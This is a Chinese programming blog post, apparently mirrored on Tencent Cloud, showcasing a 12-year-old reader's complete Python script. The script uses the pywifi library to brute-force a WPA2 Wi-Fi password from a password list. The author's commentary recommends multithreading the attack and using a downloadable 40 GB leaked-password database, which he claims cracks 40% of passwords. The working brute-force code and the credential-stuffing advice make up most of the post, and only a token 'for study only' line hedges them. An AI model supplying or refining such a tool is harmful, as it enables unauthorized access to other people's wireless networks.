前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >12岁小读者使用Python暴力破解Wi-Fi密码

12岁小读者使用Python暴力破解Wi-Fi密码

作者头像
行哥玩Python
发布2020-08-28 15:49:49
1.9K0
发布2020-08-28 15:49:49
举报
文章被收录于专栏:一行数据

这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云

像之前还有小读者问行哥现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择

这不,就有小读者给行哥投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看

1.投稿内容

Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:

1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。

2.然后判断电脑是否连接wifi

3.创建wifi连接文件,选择要连接wifi名称,检查加密单元

4.接下来删除所有连接过的wifi 判断wifi是否连接。

5.最后需要一个八位以上的密码本,一行一行读取就可以了。

完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊

代码语言:javascript
复制
# coding:utf-8
import pywifi
from pywifi import const
import time

#测试连接,返回链接结果
#抓取网卡接口(改进)
#wifi = pywifi.PyWiFi()
#获取第一个无线网卡
#ifaces = wifi.interfaces()[0]

def wifiConnect(pwd):
    #抓取网卡接口(原版)
    wifi = pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile = pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid = "wifi名称"
        #网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key = pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path = r"C:\Users\电脑路径\Desktop\password.txt"
    #打开文件
    file = open(path, "r")
    while True:
        try:
            #一行一行读取
            pad = file.readline()
            bool = wifiConnect(pad)

            if bool:
                print("密码已破解: ", pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ", pad)
        except:
            continue
readPassword()

注:上述方法仅供学习讨论

下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!

虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!

2.行哥说两句

对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。

这里行哥也提出了两点可以改进的地方

  • 暴力破解单线程太慢,可以尝试使用任务处理
  • 密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码

那么后浪来了,还在学Python的你有如何感想?

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一行数据 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.投稿内容
  • 2.行哥说两句
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档